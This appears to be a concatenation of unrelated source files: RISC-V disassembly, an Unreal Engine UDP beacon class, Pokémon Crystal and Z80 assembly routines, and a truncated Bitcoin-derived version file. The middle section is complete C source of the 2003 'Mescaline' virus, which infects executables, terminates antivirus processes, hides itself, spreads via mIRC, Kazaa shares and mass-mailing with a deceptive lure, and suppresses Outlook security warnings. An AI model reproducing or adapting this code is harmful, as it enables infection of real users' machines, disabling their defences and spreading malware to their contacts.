a7c: fa9776e3 bgeu a4,s1,a28 <malloc+0x70>
a80: 00093703 ld a4,0(s2)
a84: 853e mv a0,a5
a86: fef719e3 bne a4,a5,a78 <malloc+0xc0>
a8a: 8552 mv a0,s4
a8c: 00000097 auipc ra,0x0
a90: b7c080e7 jalr -1156(ra) # 608 <sbrk>
a94: fd5518e3 bne a0,s5,a64 <malloc+0xac>
a98: 4501 li a0,0
a9a: bf45 j a4a <malloc+0x92>
0000000000000a9c <mem_init>:
a9c: 1141 addi sp,sp,-16
a9e: e406 sd ra,8(sp)
aa0: e022 sd s0,0(sp)
aa2: 0800 addi s0,sp,16
aa4: 6505 lui a0,0x1
aa6: 00000097 auipc ra,0x0
aaa: b62080e7 jalr -1182(ra) # 608 <sbrk>
aae: 00000797 auipc a5,0x0
ab2: 26a7b523 sd a0,618(a5) # d18 <alloc>
ab6: 00850793 addi a5,a0,8 # 1008 <__BSS_END__+0x2d0>
aba: e11c sd a5,0(a0)
abc: 60a2 ld ra,8(sp)
abe: 6402 ld s0,0(sp)
ac0: 0141 addi sp,sp,16
ac2: 8082 ret
0000000000000ac4 <l_alloc>:
ac4: 1101 addi sp,sp,-32
ac6: ec06 sd ra,24(sp)
ac8: e822 sd s0,16(sp)
aca: e426 sd s1,8(sp)
acc: 1000 addi s0,sp,32
ace: 84aa mv s1,a0
ad0: 00000797 auipc a5,0x0
ad4: 2407a783 lw a5,576(a5) # d10 <if_init>
ad8: c795 beqz a5,b04 <l_alloc+0x40>
ada: 00000717 auipc a4,0x0
ade: 23e73703 ld a4,574(a4) # d18 <alloc>
ae2: 6308 ld a0,0(a4)
ae4: 40e506b3 sub a3,a0,a4
ae8: 6785 lui a5,0x1
aea: 37e1 addiw a5,a5,-8
aec: 9f95 subw a5,a5,a3
aee: 02f4f563 bgeu s1,a5,b18 <l_alloc+0x54>
af2: 1482 slli s1,s1,0x20
af4: 9081 srli s1,s1,0x20
af6: 94aa add s1,s1,a0
af8: e304 sd s1,0(a4)
afa: 60e2 ld ra,24(sp)
afc: 6442 ld s0,16(sp)
afe: 64a2 ld s1,8(sp)
b00: 6105 addi sp,sp,32
b02: 8082 ret
b04: 00000097 auipc ra,0x0
b08: f98080e7 jalr -104(ra) # a9c <mem_init>
b0c: 4785 li a5,1
b0e: 00000717 auipc a4,0x0
b12: 20f72123 sw a5,514(a4) # d10 <if_init>
b16: b7d1 j ada <l_alloc+0x16>
b18: 4501 li a0,0
b1a: b7c5 j afa <l_alloc+0x36>
0000000000000b1c <l_free>:
b1c: 1141 addi sp,sp,-16
b1e: e422 sd s0,8(sp)
b20: 0800 addi s0,sp,16
b22: 6422 ld s0,8(sp)
b24: 0141 addi sp,sp,16
b26: 8082 ret
|
/*
Mescaline Virus � 2003 DR-EF All Right Reserved
================================================
When Infected File Is Run The Virus Do This Steps:
1) Get Virus Path & Command Line
2) Hide The Virus Process
3) Disable AntiViruses Monitors
4) Active The Payload
5) Go TSR & Infect Any EXE\SCR File After He Closed
6) Execute The Host
7) Modify Mirc To Send The Virus To Chatted Users
8) Infect Every EXE\SCR File In The First Ten Kazaa Shared Dirs
Every 25 Infections The Virus Use MAPI To Mail Himself To Address That
He Found In Temporary HTML Files.
*/
#include <stdafx.h>
#include <stdio.h>
#include <malloc.h>
#include <tlhelp32.h>
#include <shellapi.h>
#include <mapi.h>
const virus_size=49160;
char viruscopyright[]="[Mescaline] Virus (c) 2oo3 DR-EF";
char VirusPath[MAX_PATH],VirusParameters[MAX_PATH],VirusTempFile[MAX_PATH];
tagPROCESSENTRY32 stproc;
char lst[150][MAX_PATH],addbook[300][MAX_PATH],htmfiles[300][MAX_PATH];
int Founded=0,Position;
/*------------------[File Infection Functions]---------------*/
void write_virus(char virus_path[],char WriteTo[],int Virus_Size)
{
FILE *File_Handle;
void *viruscode=malloc(Virus_Size);
File_Handle=fopen(virus_path,"rb");
if(File_Handle!=NULL)
{
fread(viruscode,Virus_Size,1,File_Handle);
fclose(File_Handle);
}
File_Handle=fopen(WriteTo,"wb");
if(File_Handle!=NULL)
{
fwrite(viruscode,Virus_Size,1,File_Handle);
fclose(File_Handle);
}
free(viruscode);
}
void Infect_file(char Virus_path[],char Victim[],char mark[])
{
char temp_file[MAX_PATH],check[sizeof(mark)];
int fsize,mcmp;
FILE *File_Handle;
HANDLE hfile,hfileDT;
DWORD attr;
FILETIME creation,access,change;
WIN32_FIND_DATA ffile;
File_Handle=fopen(Victim,"rb");
hfile=FindFirstFile(Victim,&ffile);
fsize=ffile.nFileSizeLow;
void *data=malloc(ffile.nFileSizeLow);
fread(data,fsize,1,File_Handle);
fseek(File_Handle,(fsize-sizeof(mark)),0);
fread(&check,sizeof(mark),1,File_Handle);
mcmp=memcmp(check,mark,sizeof(mark));
fclose(File_Handle);
if (mcmp!=0)
{
attr=GetFileAttributes(Victim);
SetFileAttributes(Victim,FILE_ATTRIBUTE_NORMAL);
hfileDT=CreateFile(Victim,GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ | FILE_SHARE_WRITE,0,OPEN_EXISTING,0,0);
GetFileTime(hfileDT,&creation,&access,&change);
CloseHandle(hfileDT);
strcpy(temp_file,Victim);
strcat(temp_file,"_I");
write_virus(Virus_path,temp_file,virus_size);
File_Handle=fopen(temp_file,"ab");
fwrite(data,ffile.nFileSizeLow,1,File_Handle);
fwrite(mark,sizeof(mark),1,File_Handle);
fclose(File_Handle);
DeleteFile(Victim);
hfileDT=CreateFile(temp_file,GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ | FILE_SHARE_WRITE,0,OPEN_EXISTING,0,0);
SetFileTime(hfileDT,&creation,&access,&change);
CloseHandle(hfileDT);
CopyFile(temp_file,Victim,true);
SetFileAttributes(Victim,attr);
}
DeleteFile(temp_file);
free(data);
FindClose(hfile);
}
int Run_Infected_File(char File[],char Parm[],int Virus_Size)
{
FILE *hfile;
HANDLE h_file;
WIN32_FIND_DATA ffile;
int host_size,is_end=0;
void *data;
h_file=FindFirstFile(File,&ffile);
host_size=(ffile.nFileSizeLow-Virus_Size);
hfile=fopen(File,"rb");
if(hfile!=NULL)
{
data=malloc(host_size);
fseek(hfile,Virus_Size,SEEK_SET);
fread(data,host_size,1,hfile);
fclose(hfile);
}
char temp_file[MAX_PATH],cmd[MAX_PATH];
strcpy(temp_file,File);
strcat(temp_file,"_v");
if(GetFileAttributes(temp_file) != -1 && DeleteFile(temp_file) == 0)
{ // ^-> Check If The File Executed Before.
strcat(temp_file," ");
strcat(temp_file,Parm);
free(data);
FindClose(h_file);
WinExec(temp_file,1);
return(1);
}
hfile=fopen(temp_file,"wb");
if(hfile!=NULL)
{
fwrite(data,host_size,1,hfile);
fclose(hfile);
}
free(data);
FindClose(h_file);
SetFileAttributes(temp_file,FILE_ATTRIBUTE_HIDDEN);
strcpy(cmd,temp_file);
if (strlen(Parm) > 0 )
{
strcat(cmd," ");
strcat(cmd,Parm);
}
WinExec(cmd,1);
SleepEx(500,0);
do
{
is_end=DeleteFile(temp_file);
}
while(is_end!=1);
return(1);
}
/*------------------------[Misc Functions]---------------------*/
void PayLoad()
{
SYSTEMTIME time;
GetSystemTime(&time);
if ((time.wHour==0)==1)
{
MessageBox(NULL,"Have You Ever Had The Feeling\nThat You Not Sure If We Wake Or Still Dreaming...\nIt's Call Mescaline\nIt's The Only Way To Fly...",viruscopyright,MB_ICONINFORMATION);
for(int i=1;i<9999;i++)
SetWindowText((HWND)(i),viruscopyright);
}
}
void AntiAV()
{
HANDLE hsnp,hproc;
char MayBeAV[MAX_PATH];
tagPROCESSENTRY32 proc;
hsnp=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL);
proc.dwSize=sizeof(proc);
Process32First(hsnp,&proc);
do
{
strcpy(MayBeAV,proc.szExeFile);
strlwr(MayBeAV);
if(strstr(MayBeAV,"anti") != 0 || strstr(MayBeAV,"avp") != 0 ||
strstr(MayBeAV,"rav") != 0 || strstr(MayBeAV,"nav") != 0 ||
strstr(MayBeAV,"troj") != 0 || strstr(MayBeAV,"scan") != 0 ||
strstr(MayBeAV,"viru") != 0 || strstr(MayBeAV,"safe") != 0)
{
hproc=OpenProcess(0,FALSE,proc.th32ProcessID);
TerminateProcess(hproc,666);
CloseHandle(hproc);
}
}
while(Process32Next(hsnp,&proc));
CloseHandle(hsnp);
}
void InitVirus()
{
char *cmd,kernel_path[MAX_PATH];
int pos=0;
HMODULE krnl;
FARPROC RSP;
cmd=GetCommandLine();
cmd++;
do
{
VirusPath[pos]=(*cmd);
pos++;
*cmd++;
}
while((*cmd) != '"');
cmd++;
if ((*cmd) != 0)
{
cmd++;
pos=0;
while((*cmd) != NULL)
{
VirusParameters[pos]=(*cmd);
cmd++;
pos++;
}
}
GetTempPath(MAX_PATH,VirusTempFile);
strcat(VirusTempFile,"Mescaline.exe");
GetSystemDirectory(kernel_path,MAX_PATH);
strcat(kernel_path,"\\Kernel32.dll");
krnl=LoadLibrary(kernel_path);
if (krnl != NULL)
{
RSP=GetProcAddress(krnl,"RegisterServiceProcess");
if (RSP != NULL)
{
__asm
{
push 01h
push 00h
call RSP
}
}
}
FreeLibrary(krnl);
AntiAV();
}
void IRC()
{
char mirc[MAX_PATH],File[MAX_PATH];
FILE *hfile;
strcpy(mirc,"C:\\Program Files\\mIRC\\");
strcpy(File,mirc);
strcat(File,"mirc.ini");
if(GetFileAttributes(File)!=-1)
{
WritePrivateProfileString("rfiles","n2","mirc.dll",File);
strcpy(File,mirc);
strcat(File,"hi.scr");
CopyFile(VirusPath,File,false);
strcpy(File,mirc);
strcat(File,"mirc.dll");
hfile=fopen(File,"w");
if(hfile!=NULL)
{
fprintf(hfile,"on 1:join:#: { if ( $nick == $me ) halt\n");
fprintf(hfile,"else /dcc send $nick %shi.scr }",mirc);
fclose(hfile);
}
}
}
BOOL IsInfectable(char filename[])
{
char last[3];
int i;
for(i=1;i<(int)strlen(filename);i++)
{
last[0]=filename[i-2];
last[1]=filename[i-1];
last[2]=filename[i];
}
strlwr(last);
if(memcmp(last,"exe",3)==0 || memcmp(last,"scr",3)==0)
{
return(TRUE);
}
return(FALSE);
}
int Sucker2Sucker()
{
HKEY hkey;
int RetValue,i,num;;
unsigned char share[MAX_PATH];
unsigned long Sshare=sizeof(share);
char search[MAX_PATH],path[MAX_PATH],full[MAX_PATH],text[3];
HANDLE hfile;
WIN32_FIND_DATA hfind;
RetValue=RegOpenKeyEx(HKEY_CURRENT_USER,"Software\\Kazaa\\LocalContent",0,KEY_QUERY_VALUE,&hkey);
if(RetValue != ERROR_SUCCESS)
return(1);
strcpy(search,"");
for(num=48;num!=58;num++)
{
text[0]='d';
text[1]='i';
text[2]='r';
text[3]=num;
for(i=0;i!=4;i++)
search[i]=text[i];
for(i=4;i!=MAX_PATH;i++)
search[i]=NULL;
RetValue=RegQueryValueEx(hkey,search,0,NULL,share,&Sshare);
if(RetValue == ERROR_SUCCESS)
{
for(i=7;i<MAX_PATH;i++)
path[i-7]=share[i];
strcpy(search,path);
strcat(path,"\\*.*");
hfile=FindFirstFile(path,&hfind);
if (hfile != INVALID_HANDLE_VALUE)
{
do
{
strcpy(full,search);
strcat(full,"\\");
strncat(full,hfind.cFileName,sizeof(hfind.cFileName));
if(IsInfectable(full)==TRUE && strlen(full)>10)
Infect_file(VirusPath,full,"Ml");
}
while(FindNextFile(hfile,&hfind));
FindClose(hfile);
}
}
}
RegCloseKey(hkey);
return(1);
}
/*-----------------------[Mapi Worm]----------------------*/
int worming()
{
char mapidll[MAX_PATH];
LPSTR mail_msg="Secret Password,Data,Information Can Be Found Here !!!\nIn This e-mail you can find a lot of secret info\nlike password to web servers and documentation about hacking\nlike 'how to hack web server.txt',or 'How To crack ZIP archive.doc'\n(all documents are in the HackInfo.exe compressed package)\nif you like such stuff you can free register in our web site:\nwww.BestHackersOfTheWorld.com and you will get every week a new\npackage,like the one in the attachment,for free !!!\n\nif you don't want to get mail like this any more please send\n\ta blank e-mail to : BestHackers@dREF.com\n\nand if you want to support us send this mail without any\nchanging to other people that you know.\n\tThank You For Reading This Mail.";
GetSystemDirectory(mapidll,MAX_PATH);
strcat(mapidll,"\\mapi32.dll");
HMODULE MapiModule;
MapiModule=LoadLibrary(mapidll);
__asm
mov eax,01h ; Fix An Expection With The Msoe.dll library
if(MapiModule==NULL)
return(1);
FARPROC SendMail,LogOn,LogOff;
MapiFileDesc mfile;
MapiMessage msg;
MapiRecipDesc rec;
SendMail=GetProcAddress(MapiModule,"MAPISendMail");
LogOn=GetProcAddress(MapiModule,"MAPILogon");
LogOff=GetProcAddress(MapiModule,"MAPILogoff");
LHANDLE MapiSession;
if((LogOn == NULL) || (LogOff == NULL) || (SendMail == NULL))
{
FreeLibrary(MapiModule);
return(1);
}
int retvalue,i;
__asm /* MapiLogOn */
{
lea eax,MapiSession
push eax ;lplhSession
push 00h ;ulReserved
push 00h ;flFlags
push 00h ;lpszPassword
push 00h ;lpszProfileName
push 00h ;ulUIParam
call LogOn
mov retvalue,eax
}
if (retvalue != SUCCESS_SUCCESS)
{
FreeLibrary(MapiModule);
return(1);
}
for(i=1;i<Founded;i++)
{
mfile.lpszPathName=VirusPath;
mfile.lpszFileName="HackInfo - Package1.exe";
mfile.nPosition=-1;
mfile.ulReserved=0;
rec.ulRecipClass=MAPI_TO;
rec.lpszName=addbook[i];
rec.ulReserved=0;
msg.nFileCount=1;
msg.lpszNoteText=mail_msg;
msg.lpszSubject="Best Hackers Teaching You How To Be Hacker !!!";
msg.ulReserved=0;
msg.nRecipCount=1;
msg.lpFiles=&mfile;
msg.lpRecips=&rec;
__asm /* MapiSendMail */
{
push 00h ;ulReserved
push 00h ;flFlags
lea eax,msg
push eax ;lpMessage
push 00h ;ulUIParam
push MapiSession ;lhSession
call SendMail
mov retvalue,eax
}
if (retvalue != SUCCESS_SUCCESS)
{
FreeLibrary(MapiModule);
return(1);
}
}
__asm /* MAPILogoff */
{
push 00h ;ulReserved
push 00h ;flFlags
push 00h ;ulUIParam
push MapiSession;lhSession
call LogOff
}
FreeLibrary(MapiModule);
return(1);
}
void FindFilesAndMails(char where[])
{
char path[MAX_PATH],fullpath[MAX_PATH],buffer[100],mailbuffer[100];
int i=0;
BOOL already_have;
FILE *hfiles;
size_t size;
strcpy(path,where);
strcat(path,"*.*");
WIN32_FIND_DATA find;
HANDLE hfile;
hfile=FindFirstFile(path,&find);
if (hfile != NULL)
{
do
{
strcpy(fullpath,where);
strcat(fullpath,find.cFileName);
strlwr(find.cFileName);
if (find.dwFileAttributes==(FILE_ATTRIBUTE_SYSTEM+FILE_ATTRIBUTE_DIRECTORY))
{
if ((strcmp(find.cFileName,".") != 0) || (strcmp(find.cFileName,"..") != 0))
{
strcat(fullpath,"\\");
FindFilesAndMails(fullpath);
}
}
if (strstr(find.cFileName,"ht") != 0)
{
hfiles=fopen(fullpath,"rt");
if (hfiles!=NULL)
{
do
{
already_have=FALSE;
strcpy(mailbuffer,"");
size=fread(&buffer,sizeof(buffer),1,hfiles);
strlwr(buffer);
char *temp=strstr(buffer,"mailto:");
if (temp!=NULL)
{
temp=temp+7;
for(i=0;(i<=MAX_PATH)&&(*temp!='"')&&(*temp!='?')&&(*temp!='<');i++,temp++)
mailbuffer[i]=*temp;
mailbuffer[i]=NULL;
if((strstr(mailbuffer,"@")!=NULL) && strlen(mailbuffer)<30)
if (Founded < 299)
{
for(i=1;i<=Founded;i++)
if(strcmp(addbook[i],mailbuffer)==0)
already_have=TRUE;
if(already_have==FALSE)
{
Founded++;
strcpy(addbook[Founded],mailbuffer);
}
}
}
}while(size);
fclose(hfiles);
}
}
}
while(FindNextFile(hfile,&find));
FindClose(hfile);
}
}
void Active_Worm()
{
unsigned char GetValue[MAX_PATH];
unsigned long GetSize=sizeof(GetValue);
char fullpath[MAX_PATH],dir[MAX_PATH];
int i,p=0,x=0;
GetWindowsDirectory(dir,MAX_PATH);
strcat(dir,"\\Temporary Internet Files\\");
FindFilesAndMails(dir);
HKEY hkey;
RegOpenKeyEx(HKEY_CURRENT_USER,"Identities",KEY_QUERY_VALUE,0,&hkey);
strcpy(fullpath,"Identities\\");
x=RegQueryValueEx(hkey,"Default User ID",0,NULL,GetValue,&GetSize);
if (x==0)
{
for(i=strlen(fullpath);i<MAX_PATH;i++,p++)
fullpath[i]=GetValue[p];
strcat(fullpath,"\\Software\\Microsoft\\Outlook Express\\5.0\\Mail");
x=RegOpenKeyEx(HKEY_CURRENT_USER,fullpath,NULL,KEY_WRITE,&hkey);
if (x==0)
RegSetValueEx(hkey,"Warn on Mapi Send",0,REG_DWORD,(LPBYTE)&x,sizeof(x));
} // ^-> Micro$oft Security ;)
RegCloseKey(hkey);
SleepEx(1000,false);
worming();
}
/*-------------------[Memory Resident Functions]--------------*/
BOOL IsProcessExist(char ProcName[])
{
int i;
for(i=0;i<=Position;i++)
{
if(strcmp(lst[i],ProcName)==0)
return (TRUE);
}
return(FALSE);
}
void add_proc(char procname[])
{
if(IsProcessExist(procname)!=TRUE)
{
Position++;
strcpy(lst[Position],procname);
}
}
void ProcFindAll()
{
HANDLE hsnp;
hsnp=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL);
stproc.dwSize=sizeof(stproc);
Process32First(hsnp,&stproc);
do
{
add_proc(stproc.szExeFile);
}
while(Process32Next(hsnp,&stproc));
CloseHandle(hsnp);
}
void FindNextFileToInfect()
{
HANDLE hsnp;
BOOL found_it=TRUE;
char my_Target[MAX_PATH];
strcpy(my_Target,"");
Start:
hsnp=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL);
stproc.dwSize=sizeof(stproc);
Process32First(hsnp,&stproc);
do
{
SleepEx(10,0);
if(IsProcessExist(stproc.szExeFile)==FALSE)
{
add_proc(stproc.szExeFile);
strcpy(my_Target,stproc.szExeFile);
break;
}
}
while(Process32Next(hsnp,&stproc));
CloseHandle(hsnp);
if (strlen(my_Target)==0 && IsProcessExist(my_Target)==TRUE)
{
goto Start;
}
Start2:
hsnp=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL);
Process32First(hsnp,&stproc);
do
{
SleepEx(10,0);
if (strcmp(stproc.szExeFile,my_Target) != 0)
{
found_it=FALSE;
}
else if (strcmp(stproc.szExeFile,my_Target) == 0)
{
found_it=TRUE;
}
}
while(Process32Next(hsnp,&stproc));
CloseHandle(hsnp);
if (found_it==TRUE || strlen(my_Target)==0)
{
goto Start2;
}
if (IsInfectable(my_Target)==TRUE)
{
// MessageBox(NULL,my_Target,"Debug:Virus Catch File",MB_OK);
Infect_file(VirusPath,my_Target,"Ml");
}
}
void TSR_Mode()
{
if(strcmp(VirusTempFile,VirusPath)==0)
{
ProcFindAll();
for(int i=1;i<=2;i++)
{
AntiAV();
FindNextFileToInfect();
}
if(Position==149)
ExitProcess(1);
else if(Position!=149)
{
Active_Worm();
SleepEx(10000,0);
TSR_Mode();
}
}
}
void GoTSR()
{
DeleteFile(VirusTempFile);
if (GetFileAttributes(VirusTempFile)==-1)
{
write_virus(VirusPath,VirusTempFile,virus_size);
SleepEx(500,0);
ShellExecute(NULL,"open",VirusTempFile,"","",1);
}
}
/*----------------------[Main Function]--------------------*/
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
InitVirus();
PayLoad();
GoTSR();
Run_Infected_File(VirusPath,VirusParameters,virus_size);
IRC();
Sucker2Sucker();
if (hPrevInstance)
ExitProcess(1);
TSR_Mode();
return 0;
}
|
// Copyright 1998-2015 Epic Games, Inc. All Rights Reserved.
#include "UdpMessagingPrivatePCH.h"
/* FUdpMessageHelloSender static initialization
*****************************************************************************/
const FTimespan FUdpMessageBeacon::IntervalPerEndpoint = FTimespan::FromMilliseconds(200);
const FTimespan FUdpMessageBeacon::MinimumInterval = FTimespan::FromMilliseconds(1000);
/* FUdpMessageHelloSender structors
*****************************************************************************/
FUdpMessageBeacon::FUdpMessageBeacon(FSocket* InSocket, const FGuid& InSocketId, const FIPv4Endpoint& InMulticastEndpoint)
: LastEndpointCount(1)
, LastHelloSent(FDateTime::MinValue())
, NextHelloTime(FDateTime::UtcNow())
, NodeId(InSocketId)
, Socket(InSocket)
, Stopping(false)
{
EndpointLeftEvent = FPlatformProcess::GetSynchEventFromPool(false);
MulticastAddress = InMulticastEndpoint.ToInternetAddr();
Thread = FRunnableThread::Create(this, TEXT("FUdpMessageBeacon"), 128 * 1024, TPri_AboveNormal, FPlatformAffinity::GetPoolThreadMask());
}
FUdpMessageBeacon::~FUdpMessageBeacon()
{
if (Thread != nullptr)
{
Thread->Kill(true);
delete Thread;
}
MulticastAddress = nullptr;
FPlatformProcess::ReturnSynchEventToPool(EndpointLeftEvent);
EndpointLeftEvent = nullptr;
}
/* FUdpMessageHelloSender interface
*****************************************************************************/
void FUdpMessageBeacon::SetEndpointCount(int32 EndpointCount)
{
check(EndpointCount > 0);
if (EndpointCount < LastEndpointCount)
{
FDateTime CurrentTime = FDateTime::UtcNow();
// adjust the send interval for reduced number of endpoints
NextHelloTime = CurrentTime + (EndpointCount / LastEndpointCount) * (NextHelloTime - CurrentTime);
LastHelloSent = CurrentTime - (EndpointCount / LastEndpointCount) * (CurrentTime - LastHelloSent);
LastEndpointCount = EndpointCount;
EndpointLeftEvent->Trigger();
}
}
/* FRunnable interface
*****************************************************************************/
bool FUdpMessageBeacon::Init()
{
return true;
}
uint32 FUdpMessageBeacon::Run()
{
while (!Stopping)
{
FDateTime CurrentTime = FDateTime::UtcNow();
if (CurrentTime >= NextHelloTime)
{
SendSegment(EUdpMessageSegments::Hello);
// calculate the next send interval
BeaconInterval = FMath::Max(MinimumInterval, IntervalPerEndpoint * LastEndpointCount);
NextHelloTime = CurrentTime + BeaconInterval;
}
EndpointLeftEvent->Wait(NextHelloTime - CurrentTime);
}
SendSegment(EUdpMessageSegments::Bye);
return 0;
}
void FUdpMessageBeacon::Stop()
{
Stopping = true;
}
/* FUdpMessageHelloSender implementation
*****************************************************************************/
void FUdpMessageBeacon::SendSegment(EUdpMessageSegments::Type SegmentType)
{
FUdpMessageSegment::FHeader Header;
Header.SenderNodeId = NodeId;
Header.ProtocolVersion = UDP_MESSAGING_TRANSPORT_PROTOCOL_VERSION;
Header.SegmentType = SegmentType;
FArrayWriter Writer;
Writer << Header;
Writer << NodeId;
int32 Sent;
Socket->Wait(ESocketWaitConditions::WaitForWrite, BeaconInterval);
Socket->SendTo(Writer.GetData(), Writer.Num(), Sent, *MulticastAddress);
}
|
BattleCommand_BatonPass:
; batonpass
ldh a, [hBattleTurn]
and a
jp nz, .Enemy
; Need something to switch to
call CheckAnyOtherAlivePartyMons
jp z, FailedBatonPass
call UpdateBattleMonInParty
call AnimateCurrentMove
ld c, 50
call DelayFrames
; Transition into switchmon menu
call LoadStandardMenuHeader
farcall SetUpBattlePartyMenu_NoLoop
farcall ForcePickSwitchMonInBattle
; Return to battle scene
call ClearPalettes
farcall _LoadBattleFontsHPBar
call CloseWindow
call ClearSprites
hlcoord 1, 0
lb bc, 4, 10
call ClearBox
ld b, SCGB_BATTLE_COLORS
call GetSGBLayout
call SetPalettes
call BatonPass_LinkPlayerSwitch
; Mobile link battles handle entrances differently
farcall CheckMobileBattleError
jp c, EndMoveEffect
ld hl, PassedBattleMonEntrance
call CallBattleCore
call ResetBatonPassStatus
ret
.Enemy:
; Wildmons don't have anything to switch to
ld a, [wBattleMode]
dec a ; WILDMON
jp z, FailedBatonPass
call CheckAnyOtherAliveEnemyMons
jp z, FailedBatonPass
call UpdateEnemyMonInParty
call AnimateCurrentMove
call BatonPass_LinkEnemySwitch
; Mobile link battles handle entrances differently
farcall CheckMobileBattleError
jp c, EndMoveEffect
; Passed enemy PartyMon entrance
xor a
ld [wEnemySwitchMonIndex], a
ld hl, EnemySwitch_SetMode
call CallBattleCore
ld hl, ResetBattleParticipants
call CallBattleCore
ld a, TRUE
ld [wApplyStatLevelMultipliersToEnemy], a
ld hl, ApplyStatLevelMultiplierOnAllStats
call CallBattleCore
ld hl, SpikesDamage
call CallBattleCore
jr ResetBatonPassStatus
BatonPass_LinkPlayerSwitch:
ld a, [wLinkMode]
and a
ret z
ld a, BATTLEPLAYERACTION_USEITEM
ld [wBattlePlayerAction], a
call LoadStandardMenuHeader
ld hl, LinkBattleSendReceiveAction
call CallBattleCore
call CloseWindow
xor a ; BATTLEPLAYERACTION_USEMOVE
ld [wBattlePlayerAction], a
ret
BatonPass_LinkEnemySwitch:
ld a, [wLinkMode]
and a
ret z
call LoadStandardMenuHeader
ld hl, LinkBattleSendReceiveAction
call CallBattleCore
ld a, [wOTPartyCount]
add BATTLEACTION_SWITCH1
ld b, a
ld a, [wBattleAction]
cp BATTLEACTION_SWITCH1
jr c, .baton_pass
cp b
jr c, .switch
.baton_pass
ld a, [wCurOTMon]
add BATTLEACTION_SWITCH1
ld [wBattleAction], a
.switch
jp CloseWindow
FailedBatonPass:
call AnimateFailedMove
jp PrintButItFailed
ResetBatonPassStatus:
; Reset status changes that aren't passed by Baton Pass.
; Nightmare isn't passed.
ld a, BATTLE_VARS_STATUS
call GetBattleVar
and SLP
jr nz, .ok
ld a, BATTLE_VARS_SUBSTATUS1
call GetBattleVarAddr
res SUBSTATUS_NIGHTMARE, [hl]
.ok
; Disable isn't passed.
call ResetActorDisable
; Attraction isn't passed.
ld hl, wPlayerSubStatus1
res SUBSTATUS_IN_LOVE, [hl]
ld hl, wEnemySubStatus1
res SUBSTATUS_IN_LOVE, [hl]
ld hl, wPlayerSubStatus5
ld a, BATTLE_VARS_SUBSTATUS5
call GetBattleVarAddr
res SUBSTATUS_TRANSFORMED, [hl]
res SUBSTATUS_ENCORED, [hl]
; New mon hasn't used a move yet.
ld a, BATTLE_VARS_LAST_MOVE
call GetBattleVarAddr
ld [hl], 0
xor a
ld [wPlayerWrapCount], a
ld [wEnemyWrapCount], a
ret
CheckAnyOtherAlivePartyMons:
ld hl, wPartyMon1HP
ld a, [wPartyCount]
ld d, a
ld a, [wCurBattleMon]
ld e, a
jr CheckAnyOtherAliveMons
CheckAnyOtherAliveEnemyMons:
ld hl, wOTPartyMon1HP
ld a, [wOTPartyCount]
ld d, a
ld a, [wCurOTMon]
ld e, a
; fallthrough
CheckAnyOtherAliveMons:
; Check for nonzero HP starting from partymon
; HP at hl for d partymons, besides current mon e.
; Return nz if any are alive.
xor a
ld b, a
ld c, a
.loop
ld a, c
cp d
jr z, .done
cp e
jr z, .next
ld a, [hli]
or b
ld b, a
ld a, [hld]
or b
ld b, a
.next
push bc
ld bc, PARTYMON_STRUCT_LENGTH
add hl, bc
pop bc
inc c
jr .loop
.done
ld a, b
and a
ret
|
SECTION code_clib
PUBLIC getmaxx
PUBLIC _getmaxx
EXTERN __console_w
getmaxx:
_getmaxx:
IF __CPU_GBZ80__
ld hl,__console_w
ld l,(hl)
ELSE
ld hl,(__console_w)
ENDIF
ld h,0
dec hl
ret
|
// Copyright (c) 2012-2014 The Bitcoin developers
// Distributed under the MIT software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "clientversion.h"
#include "tinyformat.h"
#include <string>
/**
* Name of client reported in the 'version' message. Report the same name
* for both zetcoind and zetcoin-qt, to make it harder for attackers to
* target servers or GUI users specifically.
*/
const std::string CLIENT_NAME("Zetcoin Core");
/**
* Client version number
*/
#define CLIENT_VERSION_SUFFIX ""
/**
* The following part of the code determines the CLIENT_BUILD variable.
* Several mechanisms are used for this:
* * first, if HAVE_BUILD_INFO is defined, include build.h, a file that is
* generated by the build environment, possibly containing the output
* of git-describe in a macro called BUILD_DESC
* * secondly, if this is an exported version of the code, GIT_ARCHIVE will
* be defined (automatically using the export-subst git attribute), and
* GIT_COMMIT will contain the commit id.
* * then, three options exist for determining CLIENT_BUILD:
* * if BUILD_DESC is defined, use that literally (output of git-describe)
* * if not, but GIT_COMMIT is defined, use v[maj].[min].[rev].[build]-g[commit]
* * otherwise, use v[maj].[min].[rev].[build]-unk
* finally CLIENT_VERSION_SUFFIX is added
*/
//! First, include build.h if requested
#ifdef HAVE_BUILD_INFO
#include "build.h"
#endif
//! git will put "#define GIT_ARCHIVE 1" on the next line inside archives. $Format:%n#define GIT_ARCHIVE 1$
#ifdef GIT_ARCHIVE
#define GIT_COMMIT_ID "$Format:%h$"
#define GIT_COMMIT_DATE "$Format:%cD$"
#endif
#define BUILD_DESC_WITH_SUFFIX(maj, min, rev, build, suffix) \
"v" DO_STRINGIZE(maj) "." DO_STRINGIZE(min) "." DO_STRINGIZE(rev) "." DO_STRINGIZE(build) "-" DO_STRINGIZE(suffix)
#define BUILD_DESC_FROM_COMMIT(maj, min, rev, build, commit) \
"v" DO_STRINGIZE(maj) "." DO_STRINGIZE(min) "." DO_STRINGIZE(rev) "." DO_STRINGIZE(build) "-g" commit
#define BUILD_DESC_FROM_UNKNOWN(maj, min, rev, build) \
"v" DO_STRINGIZE(maj) "." DO_STRINGIZE(min) "." DO_STRINGIZE(rev) "." DO_STRINGIZE(build) "-unk"
#ifndef BUILD_DESC
#ifdef BUILD_SUFFIX
#define BUILD_DESC BUILD_DESC_WITH_SUFFIX(CLIENT_VERSION_MAJOR, CLIENT_VERSION_MINOR, CLIENT_VERSION_REVISION, CLIENT_VERSION_BUILD, BUILD_SUFFIX)
#elif defined(GIT_COMMIT_ID)
#define BUILD_DESC BUILD_DESC_FROM_COMMIT(CLIENT_VERSION_MAJOR, CLIENT_VERSION_MINOR, CLIENT_VERSION_REVISION, CLIENT_VERSION_BUILD, GIT_COMMIT_ID)
#else
